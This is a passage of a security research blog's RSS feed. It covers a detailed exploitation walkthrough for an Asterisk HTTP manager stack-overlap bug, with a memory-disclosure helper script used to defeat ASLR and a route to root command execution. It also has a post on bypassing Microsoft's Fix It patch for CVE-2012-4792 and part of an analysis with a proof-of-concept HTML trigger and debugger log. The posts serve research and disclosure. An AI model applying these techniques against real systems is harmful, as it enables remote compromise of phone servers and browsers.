<font color="#ddbb00">   </font><b><font color="#ddbb00">ast_tcptls_close_session_file</font></b><font color="#ababab">(</font><font color="#ddbb00">tcptls_session</font><font color="#ababab">);</font>
<font color="#ddbb00">   </font><b><font color="#ddbb00">ao2_ref</font></b><font color="#ababab">(</font><font color="#ddbb00">tcptls_session</font><font color="#ababab">,</font><font color="#ddbb00"> </font><font color="#ababab">-</font><font color="#ffed8a">1</font><font color="#ababab">);</font>
<font color="#ddbb00">   </font><font color="#ababab">}</font>
<font color="#ababab">...</font>
</tt></pre>
<p>The function <code>ast_pthread_create_detached_background</code> is a macro wrapper for the function <code>ast_pthread_create_stack</code>. The macro definition looks roughly like:</p>
<p><code>ast_pthread_create_detached_stack(a, b, c, d, AST_BACKGROUND_STACKSIZE, ...)</code></p>
<p>The important thing to note here is the argument <strong><code>AST_BACKGROUND_STACKSIZE</code></strong>. This is used by the function to set the new thread's stack size attribute before starting the thread:</p>
<p><code>pthread_attr_setstacksize(attr, stacksize ? stacksize : AST_STACKSIZE)<br />
...<br />
return pthread_create(thread, attr, start_routine, data);</code></p>
<p>For builds without low memory restrictions defined, the <strong>AST_BACKGROUND_STACKSIZE</strong> and the <strong><code>AST_STACKSIZE</code></strong> macros are defined as:<br />
<code><br />
#define AST_BACKGROUND_STACKSIZE AST_STACKSIZE<br />
#define AST_STACKSIZE (((sizeof(void *) * 8 * 8) - 16) * 1024) /* becomes 0x3C000 */<br />
</code></p>
<p>The use of <code>AST_STACKSIZE</code>, or <strong>0x3C000</strong>, to set the size of the stack for each new HTTP thread is significant, as it means the stack of the newly created thread will begin at 0x3C000 below the top of the previous thread's stack. In turn, if a value of this size or greater is used for <code>alloca</code> pointer subtraction, the resulting stack pointer will overlap with the stack memory of a newer thread. By carefully synchronizing the state of the threads involved so they do not collide their shared use of stack memory, it is possible to use this behavior to overwrite the contents of one thread's stack area with network data read by another thread. To visualize this, and because I love drawing stack diagrams, I present the following <a href="http://en.wikipedia.org/wiki/Museum_of_Bad_Art">bad art</a>:</p>
<p><img class="aligncenter size-large wp-image-222" src="http://exodusintel.files.wordpress.com/2012/11/stackintro.png?w=575" alt="By offsetting from the higher stack by 0x3C000, the stack pointer will be at the equivalent location in the lower stack" /></p>
<p>Synchronizing the two threads such that they do not collide and clobber each other's critical stack contents is as simple as not sending data when a given thread is expecting it. While one thread is waiting for data in a blocking read operation, the other thread may be using the stack. Using the HTTP POST method (as is required to trigger the vulnerability) allows for two separate network read operations per thread: one for the initial read of HTTP headers, and a second for reading the HTTP Content-Data. Having two individual network read operations per thread provides enough blocking opportunity to align the augmented stack pointer of the first thread to a desirable location used by the second thread. Better yet, this provides an opportunity to align the pointer of the first thread to a location that is not yet used by the second thread, but will be used once the second thread completes its initial read and resumes execution. The following diagram steps attempt to illustrate this process, ignoring trivial details and using round numbers for simplicity.</p>
<p><strong>1. </strong>Two socket connections to the HTTP AMI service are established, causing Asterisk to create two threads to handle the connections. Both threads are expecting HTTP headers and so they are both blocking on a read operation. To depict the state of these threads:</p>
<p><img class="aligncenter size-large wp-image-222" src="http://exodusintel.files.wordpress.com/2012/11/initialsockets1.png?w=575" alt="two threads created, with their stacks offset by 0x3C000" /></p>
<p><strong>2. </strong>Thread1 is sent HTTP headers with an HTTP Content-Length string equivalent to 0x3C900. Once headers are received, Thread1's initial read operation finishes. It performs the <code>alloca</code>, subtracting its stack pointer by 0x3C900, which places its pointer for <code>*buf</code> at 0x900 bytes down from the top of Thread2's stack:</p>
<p><img class="aligncenter size-large wp-image-222" src="http://exodusintel.files.wordpress.com/2012/11/afteralloca.png?w=575" alt="Thread1 stack pointer now overlaps with the stack area allocated for thread2" /></p>
<p><strong>3. </strong>Thread1 is then sent approximately 0x700 bytes of the 0x3C900 it is expecting. This advances the <code>*buf</code> pointer index used by <code>fgets</code> up the stack, closer to Thread2's current stack pointer. Thread1 continues waiting as it has not yet received the full amount of data expected (0x3C900).</p>
<p><img class="aligncenter size-large wp-image-222" src="http://exodusintel.files.wordpress.com/2012/11/afterthread1content.png?w=575" alt="The location into *buf is advanced by 0x700, moving it up the stack" /></p>
<p><strong>4. </strong>Thread2, still waiting on its initial network read, is sent HTTP POST headers with a Content-Length string equivalent to approximately 0x200, which it uses for its own <code>alloca</code>, subtracting from its stack pointer. Coordinating this length carefully places it precisely where the <code>*buf</code> pointer in Thread1 <code>fgets</code> currently points. Thread2 then calls <code>fgets</code> to receive its HTTP Content-Data, causing it to block while waiting to read in data.</p>
<p><img class="aligncenter size-large wp-image-222" src="http://exodusintel.files.wordpress.com/2012/11/afterthread2headers.png?w=575" alt="The stack frame for the call performed by thread2 sites directly next to the current *buf index of thread1" /></p>
<p><strong>5. </strong>Thread1 is sent 4 more bytes of the data it is waiting to receive, which is stored starting at its current <code>*buf</code> index in <code>fgets</code>, and overwrites where Thread2's stored return address is for <code>fgets</code>. A return from <code>fgets</code> can then be triggered by sending the remaining data expected, or a newline character, or also by simply closing the connection. Once Thread2 returns, <code>EIP</code> is restored from the overwritten return address value and execution flow is controlled.</p>
<p><img class="aligncenter size-large wp-image-222" src="http://exodusintel.files.wordpress.com/2012/11/controleip.png?w=575" alt="Clockwork" /></p>
<h1>Protection Mechanisms</h1>
<p>Precisely overwriting only desired stack contents leaves stack canaries intact so that they do not interfere with exploitation. To avoid non-executable memory protections, typical return-oriented techniques may be employed to reuse existing executable memory once execution flow is controlled. This leaves Address Space Layout Randomization (ASLR), and more specifically, Asterisk builds compiled as Position-Independent-Executables (PIE) as the only remaining obstacle to overcome, as fixed return locations cannot be used in this case.</p>
<p>While the default Makefile generated to compile Asterisk from source does not include flags for PIE, popular Linux distributions may package their own Asterisk builds compiled with PIE for extra security, such as with Ubuntu (props to <a href="http://www.twitter.com/kees_cook">@kees_cook</a> for keeping us on our toes with this). ASLR via PIE significantly frustrates exploitation. Since Ubuntu is a popular distribution, and having set the bar for difficulty in this case, the Ubuntu Asterisk build is the target we challenged ourselves with.</p>
<h1>Who Was Phone</h1>
<p>I will save you from babble about entropy and efforts made to try and guess addresses in the presence of ASLR. Instead we will discuss how this vulnerability can be reliably exploited for memory disclosure, and used to determine the location of Asterisk code memory to redirect execution to. </p>
<p>The function <code>generic_http_callback</code> in <code>main/manager.c</code> is the URL handling function executed when triggering the vulnerability, and is defined as:</p>
<pre><tt><b><font color="#ffed8a">static</font></b><font color="#ddbb00"> </font><font color="#ffed8a">int</font><font color="#ddbb00"> </font><b><font color="#ddbb00">generic_http_callback</font></b><font color="#ababab">(</font><b><font color="#ffed8a">struct</font></b><font color="#ddbb00"> </font><font color="#ddbb00">ast_tcptls_session_instance</font><font color="#ddbb00"> </font><font color="#ababab">*</font><font color="#ddbb00">ser</font><font color="#ababab">,</font>
<font color="#ddbb00">             </font><b><font color="#ffed8a">enum</font></b><font color="#ddbb00"> </font><font color="#ddbb00">ast_http_method</font><font color="#ddbb00"> method</font><font color="#ababab">,</font>
<font color="#ddbb00">             </font><b><font color="#ffed8a">enum</font></b><font color="#ddbb00"> </font><font color="#ddbb00">output_format</font><font color="#ddbb00"> format</font><font color="#ababab">,</font>
<font color="#ddbb00">             </font><b><font color="#ffed8a">struct</font></b><font color="#ddbb00"> </font><font color="#ddbb00">sockaddr_in</font><font color="#ddbb00"> </font><font color="#ababab">*</font><font color="#ddbb00">remote_address</font><font color="#ababab">,</font><font color="#ddbb00"> </font><b><font color="#ffed8a">const</font></b><font color="#ddbb00"> </font><font color="#ffed8a">char</font><font color="#ddbb00"> </font><font color="#ababab">*</font><font color="#ddbb00">uri</font><font color="#ababab">,</font>
<font color="#ddbb00">             </font><b><font color="#ffed8a">struct</font></b><font color="#ddbb00"> </font><font color="#ddbb00">ast_variable</font><font color="#ddbb00"> </font><font color="#ababab">*</font><font color="#ddbb00">get_params</font><font color="#ababab">,</font>
<font color="#ddbb00">             </font><b><font color="#ffed8a">struct</font></b><font color="#ddbb00"> </font><font color="#ddbb00">ast_variable</font><font color="#ddbb00"> </font><font color="#ababab">*</font><font color="#ddbb00">headers</font><font color="#ababab">)</font>
<font color="#ababab">{</font>
</tt></pre>
<p>Above you can see the <code>output_format</code> argument <code>format</code> is an enumeration value for one of the possible formats used for the reply. Its expected possible values are 0, 1, or 2 for "plain", "html", "xml" respectively. This value is used to retrieve a pointer from a global array when constructing a response in <code>generic_http_callback</code>:</p>
<p><tt>
<pre>
<i><font color="#978345">/* ... */</font></i>
<font color="#ddbb00">  </font><b><font color="#ddbb00">ast_str_append</font></b><font color="#ababab">(&amp;</font><font color="#ddbb00">http_header</font><font color="#ababab">,</font><font color="#ddbb00"> </font><font color="#ffed8a">0</font><font color="#ababab">,</font>
<font color="#ddbb00">    </font><font color="#ff0000">"Content-type: text/%s</font><font color="#ff0000">\r\n</font><font color="#ff0000">"</font>
<font color="#ddbb00">    </font><font color="#ff0000">"Cache-Control: no-cache;</font><font color="#ff0000">\r\n</font><font color="#ff0000">"</font>
<font color="#ddbb00">    </font><font color="#ff0000">"Set-Cookie: mansession_id=</font><font color="#ff0000">\"</font><font color="#ff0000">%08x</font><font color="#ff0000">\"</font><font color="#ff0000">; Version=1; Max-Age=%d</font><font color="#ff0000">\r\n</font><font color="#ff0000">"</font>
<font color="#ddbb00">    </font><font color="#ff0000">"Pragma: SuppressEvents</font><font color="#ff0000">\r\n</font><font color="#ff0000">"</font><font color="#ababab">,</font>
<font color="#ddbb00">    contenttype</font><font color="#ababab">[</font><font color="#ddbb00">format</font><font color="#ababab">],</font>
<font color="#ddbb00">    session</font><font color="#ababab">-&gt;</font><font color="#ddbb00">managerid</font><font color="#ababab">,</font><font color="#ddbb00"> httptimeout</font><font color="#ababab">);</font>
<i><font color="#978345">/* ... */</font></i>
<font color="#ddbb00">  </font><b><font color="#ddbb00">ast_http_send</font></b><font color="#ababab">(</font><font color="#ddbb00">ser</font><font color="#ababab">,</font><font color="#ddbb00"> method</font><font color="#ababab">,</font><font color="#ddbb00"> </font><font color="#ffed8a">200</font><font color="#ababab">,</font><font color="#ddbb00"> NULL</font><font color="#ababab">,</font><font color="#ddbb00"> http_header</font><font color="#ababab">,</font><font color="#ddbb00"> out</font><font color="#ababab">,</font><font color="#ddbb00"> </font><font color="#ffed8a">0</font><font color="#ababab">,</font><font color="#ddbb00"> </font><font color="#ffed8a">0</font><font color="#ababab">);</font>
<i><font color="#978345">/* ... */</font></i>
</tt></pre>
<p>The <code>contenttype</code> array contains the pointers to the strings used for the HTTP response, and thus the pointer retrieved from this look-up directly influences data sent back to the HTTP user. By conducting the same style of stack pointer manipulation previously described, it is possible to align a thread's <code>*buf</code> pointer to overwrite the stack memory where <code>format</code> is stored, so it indexes beyond the <code>contenttype</code> array into other memory. With the help of some handy debugger scripting, I was able to find a pointer-&gt;pointer-&gt;code from a relative offset of <code>contenttype</code>. My code to do this with <a href="http://visi.kenshoto.com" title="vdb">VDB</a> is shown below. (Comments document the code a little bit, but a more extensive explanation of VDB is beyond the scope of this post):</p>
<pre><tt><b><font color="#ffed8a">for</font></b><font color="#ddbb00"> m </font><b><font color="#ffed8a">in</font></b><font color="#ddbb00"> trace</font><font color="#ababab">.</font><b><font color="#ddbb00">getMemoryMaps</font></b><font color="#ababab">():</font>

<font color="#ddbb00">  </font><i><font color="#978345"># check memory map name</font></i>
<font color="#ddbb00">  </font><b><font color="#ffed8a">if</font></b><font color="#ddbb00"> m</font><font color="#ababab">[</font><font color="#ffffff">3</font><font color="#ababab">].</font><b><font color="#ddbb00">lower</font></b><font color="#ababab">()</font><font color="#ddbb00"> </font><font color="#ababab">==</font><font color="#ddbb00"> </font><font color="#ff0000">"/usr/sbin/asterisk"</font><font color="#ababab">:</font>

<font color="#ddbb00">    </font><i><font color="#978345">#  check for flags Read &amp; Write for data segment</font></i>
<font color="#ddbb00">    </font><b><font color="#ffed8a">if</font></b><font color="#ddbb00"> m</font><font color="#ababab">[</font><font color="#ffffff">2</font><font color="#ababab">]</font><font color="#ddbb00"> </font><font color="#ababab">==</font><font color="#ddbb00"> </font><font color="#ffffff">6</font><font color="#ababab">:</font>
<font color="#ddbb00">      addr </font><font color="#ababab">=</font><font color="#ddbb00"> m</font><font color="#ababab">[</font><font color="#ffffff">0</font><font color="#ababab">]</font>
<font color="#ddbb00">      memlen </font><font color="#ababab">=</font><font color="#ddbb00"> m</font><font color="#ababab">[</font><font color="#ffffff">1</font><font color="#ababab">]</font>
<font color="#ddbb00">      memory </font><font color="#ababab">=</font><font color="#ddbb00"> trace</font><font color="#ababab">.</font><b><font color="#ddbb00">readMemory</font></b><font color="#ababab">(</font><font color="#ddbb00">addr</font><font color="#ababab">,</font><font color="#ddbb00"> memlen</font><font color="#ababab">)</font>
<font color="#ddbb00">  </font>
<font color="#ddbb00">    </font><i><font color="#978345"># check for Execute flag</font></i>
<font color="#ddbb00">    </font><b><font color="#ffed8a">elif</font></b><font color="#ddbb00"> m</font><font color="#ababab">[</font><font color="#ffffff">2</font><font color="#ababab">]</font><font color="#ddbb00"> </font><font color="#ababab">==</font><font color="#ddbb00"> </font><font color="#ffffff">5</font><font color="#ababab">:</font>
<font color="#ddbb00">      </font><i><font color="#978345"># save beginning and ending of executable memory</font></i>
<font color="#ddbb00">      code </font><font color="#ababab">=</font><font color="#ddbb00"> m</font><font color="#ababab">[</font><font color="#ffffff">0</font><font color="#ababab">]</font>
<font color="#ddbb00">      codestop </font><font color="#ababab">=</font><font color="#ddbb00"> code</font><font color="#ababab">+</font><font color="#ddbb00">m</font><font color="#ababab">[</font><font color="#ffffff">1</font><font color="#ababab">]</font>

<i><font color="#978345"># from each offset in the memory</font></i>
<b><font color="#ffed8a">for</font></b><font color="#ddbb00"> offset </font><b><font color="#ffed8a">in</font></b><font color="#ddbb00"> </font><b><font color="#ddbb00">range</font></b><font color="#ababab">(</font><font color="#ddbb00">memlen</font><font color="#ababab">-</font><font color="#ffffff">4</font><font color="#ababab">):</font>

<font color="#ddbb00">  </font><i><font color="#978345"># read for the size of a pointer</font></i>
<font color="#ddbb00">  ptr </font><font color="#ababab">=</font><font color="#ddbb00"> struct</font><font color="#ababab">.</font><b><font color="#ddbb00">unpack</font></b><font color="#ababab">(</font><font color="#ff0000">"&lt;I"</font><font color="#ababab">,</font><font color="#ddbb00"> memory</font><font color="#ababab">[</font><font color="#ddbb00">offset</font><font color="#ababab">:</font><font color="#ddbb00">offset</font><font color="#ababab">+</font><font color="#ffffff">4</font><font color="#ababab">])[</font><font color="#ffffff">0</font><font color="#ababab">]</font>

<font color="#ddbb00">  </font><i><font color="#978345"># check if it is a pointer</font></i>
<font color="#ddbb00">  </font><b><font color="#ffed8a">if</font></b><font color="#ddbb00"> </font><b><font color="#ddbb00">ispoi</font></b><font color="#ababab">(</font><font color="#ddbb00">ptr</font><font color="#ababab">):</font>
<font color="#ddbb00">    </font><i><font color="#978345"># read the value at the pointer</font></i>
<font color="#ddbb00">    ptr </font><font color="#ababab">=</font><font color="#ddbb00"> struct</font><font color="#ababab">.</font><b><font color="#ddbb00">unpack</font></b><font color="#ababab">(</font><font color="#ff0000">"&lt;I"</font><font color="#ababab">,</font><font color="#ddbb00"> trace</font><font color="#ababab">.</font><b><font color="#ddbb00">readMemory</font></b><font color="#ababab">(</font><font color="#ddbb00">ptr</font><font color="#ababab">,</font><font color="#ddbb00"> </font><font color="#ffffff">4</font><font color="#ababab">))[</font><font color="#ffffff">0</font><font color="#ababab">]</font>

<font color="#ddbb00">    </font><i><font color="#978345"># is that value in the asterisk code?</font></i>
<font color="#ddbb00">    </font><b><font color="#ffed8a">if</font></b><font color="#ddbb00"> ptr </font><font color="#ababab">&gt;</font><font color="#ddbb00"> code </font><b><font color="#ffed8a">and</font></b><font color="#ddbb00"> ptr </font><font color="#ababab">&lt;</font><font color="#ddbb00"> codestop</font><font color="#ababab">:</font>
<font color="#ddbb00">      </font><b><font color="#ffed8a">print</font></b><font color="#ddbb00"> </font><font color="#ff0000">"[*] Found 0x%08x -&gt; 0x%08x"</font><font color="#ddbb00"> </font><font color="#ababab">%</font><font color="#ddbb00"> </font><font color="#ababab">(</font><font color="#ddbb00">addr</font><font color="#ababab">+</font><font color="#ddbb00">offset</font><font color="#ababab">,</font><font color="#ddbb00"> ptr</font><font color="#ababab">)</font>
</tt></pre>
<p>The script simply searches the memory maps of the attached process for the Asterisk data and code memory regions. Once they are found, the value at every possible offset in the data map is checked to be a valid memory address. Passing this check, the value at the memory it points to is then also checked to see if it is a pointer to code memory and then prints out valid matches. This script identified 8 locations of usable pointers when ran against Ubuntu's packaged Asterisk binary. </p>
<p>By overwriting the saved <code>format</code> variable with an index to offset to one of these pointer sequences, it is possible to manufacture a remote memory disclosure and determine an address of Asterisk code memory. Putting this all together allows for successful remote arbitrary code execution despite ASLR/PIE/NX/STACK COOKIES/ALL_OF_THE_THINGS compiled in with the Ubuntu build. To add to an already silly amount of convenience with the conditions surrounding this bug, when gaining EIP control through the method described, the next value on the stack above the overwritten return address is a pointer to the buffer passed to <code>fgets</code> in the second thread. This buffer is populated with the second thread's received HTTP Content-Data (remotely-controlled data). Using the memory disclosure to calculate the address of a call to the function <code>ast_safe_system</code>, which takes a single string pointer argument to execute as a command line, it is simple to exploit the return in the second thread to execute arbitrary commands from the Asterisk process -- which often runs as <strong>root</strong>. Using this to spawn a remote shell with Ubuntu's default dash shell is a little obnoxious, but possible, and an exercise left up to the reader. </p>
<p>Hope you enjoyed the post!<br />
--<br />
Brandon Edwards<br />
<strong><a href="http://twitter.com/drraid">@drraid</a></strong></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/exodusintel.wordpress.com/417/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/exodusintel.wordpress.com/417/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.exodusintel.com&#038;blog=37245037&#038;post=417&#038;subd=exodusintel&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.exodusintel.com/2013/01/07/who-was-phone/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/56347977181b3c773879bb75992dbd28?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">exodusintel</media:title>
		</media:content>

		<media:content url="http://exodusintel.files.wordpress.com/2012/11/stackintro.png" medium="image">
			<media:title type="html">By offsetting from the higher stack by 0x3C000, the stack pointer will be at the equivalent location in the lower stack</media:title>
		</media:content>

		<media:content url="http://exodusintel.files.wordpress.com/2012/11/initialsockets1.png" medium="image">
			<media:title type="html">two threads created, with their stacks offset by 0x3C000</media:title>
		</media:content>

		<media:content url="http://exodusintel.files.wordpress.com/2012/11/afteralloca.png" medium="image">
			<media:title type="html">Thread1 stack pointer now overlaps with the stack area allocated for thread2</media:title>
		</media:content>

		<media:content url="http://exodusintel.files.wordpress.com/2012/11/afterthread1content.png" medium="image">
			<media:title type="html">The location into *buf is advanced by 0x700, moving it up the stack</media:title>
		</media:content>

		<media:content url="http://exodusintel.files.wordpress.com/2012/11/afterthread2headers.png" medium="image">
			<media:title type="html">The stack frame for the call performed by thread2 sites directly next to the current *buf index of thread1</media:title>
		</media:content>

		<media:content url="http://exodusintel.files.wordpress.com/2012/11/controleip.png" medium="image">
			<media:title type="html">Clockwork</media:title>
		</media:content>
	</item>
		<item>
		<title>Bypassing Microsoft&#8217;s Internet Explorer 0day &#8220;Fix It&#8221; Patch for CVE-2012-4792</title>
		<link>http://blog.exodusintel.com/2013/01/04/bypassing-microsofts-internet-explorer-0day-fix-it-patch-for-cve-2012-4792/</link>
		<comments>http://blog.exodusintel.com/2013/01/04/bypassing-microsofts-internet-explorer-0day-fix-it-patch-for-cve-2012-4792/#comments</comments>
		<pubDate>Fri, 04 Jan 2013 14:46:51 +0000</pubDate>
		<dc:creator>exodusintel</dc:creator>
				<category><![CDATA[Vulnerabilities]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[CVE-2012-4792]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://blog.exodusintel.com/?p=788</guid>
		<description><![CDATA[Update: After we reported our bypasses to Microsoft, they released the MS13-008 bulletin to patch CVE-2012-4792 officially. After posting our analysis of the current 0day in Internet Explorer which was used in a &#8220;watering hole&#8221; style attack hosted on the Council for Foreign Relations website, we decided to take a look at the Fix It [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.exodusintel.com&#038;blog=37245037&#038;post=788&#038;subd=exodusintel&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p><b><i>Update</i></b>: After we reported our bypasses to Microsoft, they released the <a href="http://technet.microsoft.com/en-us/security/bulletin/ms13-008">MS13-008</a> bulletin to patch CVE-2012-4792 officially.</p>
<p>After posting our <a href="http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/">analysis</a> of the current 0day in Internet Explorer which was used in a &#8220;watering hole&#8221; style attack hosted on the <a href="http://threatpost.com/en_us/blogs/council-foreign-relations-website-hit-watering-hole-attack-ie-zero-day-exploit-122912">Council for Foreign Relations</a> website, we decided to take a look at the <a href="http://support.microsoft.com/kb/2794220">Fix It</a> patch made available by Microsoft to address the vulnerability. After less than a day of reverse engineering, we found that we were able to bypass the fix and compromise a fully-patched system with a variation of the exploit we developed earlier this week.</p>
<p>We have included details on the bypass to customers of our <a href="https://www.exodusintel.com/">intelligence feeds</a> and will notify Microsoft of the issue. In practice with coordinated vulnerability disclosure, we intend to update this post with details when Microsoft has addressed the problematic patch. </p>
<p>For more information, keep an eye on this post or <a href="mailto:info@exodusintel.com">contact us</a> to inquire about our offerings.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/exodusintel.wordpress.com/788/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/exodusintel.wordpress.com/788/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.exodusintel.com&#038;blog=37245037&#038;post=788&#038;subd=exodusintel&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.exodusintel.com/2013/01/04/bypassing-microsofts-internet-explorer-0day-fix-it-patch-for-cve-2012-4792/feed/</wfw:commentRss>
		<slash:comments>34</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/56347977181b3c773879bb75992dbd28?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">exodusintel</media:title>
		</media:content>
	</item>
		<item>
		<title>Happy New Year Analysis of CVE-2012-4792</title>
		<link>http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/</link>
		<comments>http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/#comments</comments>
		<pubDate>Wed, 02 Jan 2013 18:06:33 +0000</pubDate>
		<dc:creator>exodusintel</dc:creator>
				<category><![CDATA[Vulnerabilities]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[analysis]]></category>
		<category><![CDATA[CVE-2012-4792]]></category>
		<category><![CDATA[exploit]]></category>

		<guid isPermaLink="false">http://blog.exodusintel.com/?p=718</guid>
		<description><![CDATA[A new year has arrived and, although a little late, the time has come for me to unpack the present that Santa gave to the Council on Foreign Relations this Christmas. Quite a few blogs have already been written in this issue that has gotten CVE-2012-4792, including one by Microsoft, but that didnt stop me [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.exodusintel.com&#038;blog=37245037&#038;post=718&#038;subd=exodusintel&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>A new year has arrived and, although a little late, the time has come for me to unpack the present that Santa gave to the <a href="http://threatpost.com/en_us/blogs/council-foreign-relations-website-hit-watering-hole-attack-ie-zero-day-exploit-122912">Council on Foreign Relations</a> this Christmas. Quite a few blogs have already been written in this issue that has gotten CVE-2012-4792, including one by <a href="http://blogs.technet.com/b/srd/archive/2012/12/29/new-vulnerability-affecting-internet-explorer-8-users.aspx" target="_blank">Microsoft</a>, but that didnt stop me from doing my own analysis. I tried to document all the steps I took and write down how I came to my conclusions so readers can follow and maybe repeat this process. All my work has been done on IE8 running on Windows XP, but most of it also applies to Window 7 with the exception of ASLR issues. The mshtml version I worked with is 8.0.6001.19393</p>
<ul>
<li><a href="#Analysis">Analysis</a></li>
<li><a href="#Exploitation">Exploitation</a></li>
<li><a href="#Conclusion">Conclusion</a></li>
</ul>
<p><a name="Analysis"></a></p>
<h2>Analysis</h2>
<p>The first thing I did was grab the <a href="http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/browser/ie_cbutton_uaf.rb">Metasploit version of the exploit</a> and remove all heapspay and other items to get a clean poc. This resulted in the following html data.</p>
<p><code>
<pre>
&lt;!doctype html&gt;
&lt;html&gt;
&lt;head&gt;
	&lt;script&gt;
	function helloWorld() {
		var e0 = null;
		var e1 = null;
		var e2 = null;

		try {
			e0 = document.getElementById("a");
			e1 = document.getElementById("b");
			e2 = document.createElement("q");
			e1.applyElement(e2);
			e1.appendChild(document.createElement('button'));
			e1.applyElement(e0);
			e2.outerText = "";
			e2.appendChild(document.createElement('body'));
		} catch(e) { }
		CollectGarbage();
		var eip = window;
		var data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
		eip.location = unescape("AA" + data);
	}

	&lt;/script&gt;
&lt;/head&gt;
&lt;body onload="eval(helloWorld())"&gt;
	&lt;form id="a"&gt;
	&lt;/form&gt;
	&lt;dfn id="b"&gt;
	&lt;/dfn&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre>
<p></code></p>
<p>The next step was to turn on pageheap and user stack trace for internet explorer and just run the poc and see what happened.</p>
<p><a href="http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/analysis-1/" rel="attachment wp-att-734"><img src="http://exodusintel.files.wordpress.com/2013/01/analysis-1.jpg?w=600" alt="Analysis-1" width="600" class="aligncenter wp-image-734" /></a></p>
<p>This resulted in the following windbg log:</p>
<p><code class="windbg">
<pre>
(a0.3c0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05682fa8 ebx=04db8f28 ecx=00000052 edx=00000000 esi=00000000 edi=05682fa8
eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4ef:
3d08625c 8b07            mov     eax,dword ptr [edi]  ds:0023:05682fa8=????????
1:022&gt; !heap -p -a edi
    address 05682fa8 found in
    _DPH_HEAP_ROOT @ 151000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    5640eb0:          5682000             2000
    7c91a1ba ntdll!RtlFreeHeap+0x000000f9
    3d2b4b10 mshtml!CButton::`vector deleting destructor'+0x0000002f
    3cfa0ad9 mshtml!CBase::SubRelease+0x00000022
    3cf7e76d mshtml!CElement::PrivateRelease+0x00000029
    3cf7a976 mshtml!PlainRelease+0x00000025
    3cf9709c mshtml!PlainTrackerRelease+0x00000014
    3d7b5194 jscript!VAR::Clear+0x0000005c
    3d7b55b9 jscript!GcContext::Reclaim+0x000000ab
    3d7b4d08 jscript!GcContext::CollectCore+0x00000113
    3d82471d jscript!JsCollectGarbage+0x0000001d
    3d7c4aac jscript!NameTbl::InvokeInternal+0x00000137
    3d7c28c5 jscript!VAR::InvokeByDispID+0x0000017c
    3d7c4f93 jscript!CScriptRuntime::Run+0x00002abe
    3d7c13ab jscript!ScrFncObj::CallWithFrameOnStack+0x000000ff
    3d7c12e5 jscript!ScrFncObj::Call+0x0000008f
    3d7c1113 jscript!CSession::Execute+0x00000175

 
1:022&gt; kv
ChildEBP RetAddr  Args to Child              
0336d80c 3cee3e45 04f38fc0 04df06bc 04df06a8 mshtml!CMarkup::OnLoadStatusDone+0x4ef
0336d82c 3cee3e21 00000004 0336dcb4 00000001 mshtml!CMarkup::OnLoadStatus+0x47
0336dc78 3cf50aef 04f3af48 00000000 00000000 mshtml!CProgSink::DoUpdate+0x52f
0336dc8c 3cf8a7e9 04f3af48 04f3af48 04d9cd58 mshtml!CProgSink::OnMethodCall+0x12
0336dcc0 3cf75488 0336dd48 3cf753da 00000000 mshtml!GlobalWndOnMethodCall+0xfb
0336dce0 7e418734 0007025e 00000009 00000000 mshtml!GlobalWndProc+0x183
0336dd0c 7e418816 3cf753da 0007025e 00008002 USER32!InternalCallWinProc+0x28
0336dd74 7e4189cd 00000000 3cf753da 0007025e USER32!UserCallWinProcCheckWow+0x150 (FPO: [Non-Fpo])
0336ddd4 7e418a10 0336de08 00000000 0336feec USER32!DispatchMessageWorker+0x306 (FPO: [Non-Fpo])
0336dde4 3e2ec1d5 0336de08 00000000 01f9cf58 USER32!DispatchMessageW+0xf (FPO: [Non-Fpo])
0336feec 3e2932ee 030ecfe0 01000002 03070ff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54c (FPO: [Non-Fpo])
0336ffa4 3e136f69 01f9cf58 0015476c 0336ffec IEFRAME!LCIETab_ThreadProc+0x2c1 (FPO: [Non-Fpo])
0336ffb4 7c80b729 03070ff0 01000002 0015476c iertutil!CIsoScope::RegisterThread+0xab (FPO: [Non-Fpo])
0336ffec 00000000 3e136f5b 03070ff0 00000000 kernel32!BaseThreadStart+0x37 (FPO: [Non-Fpo])

</pre>
<p></code><br />
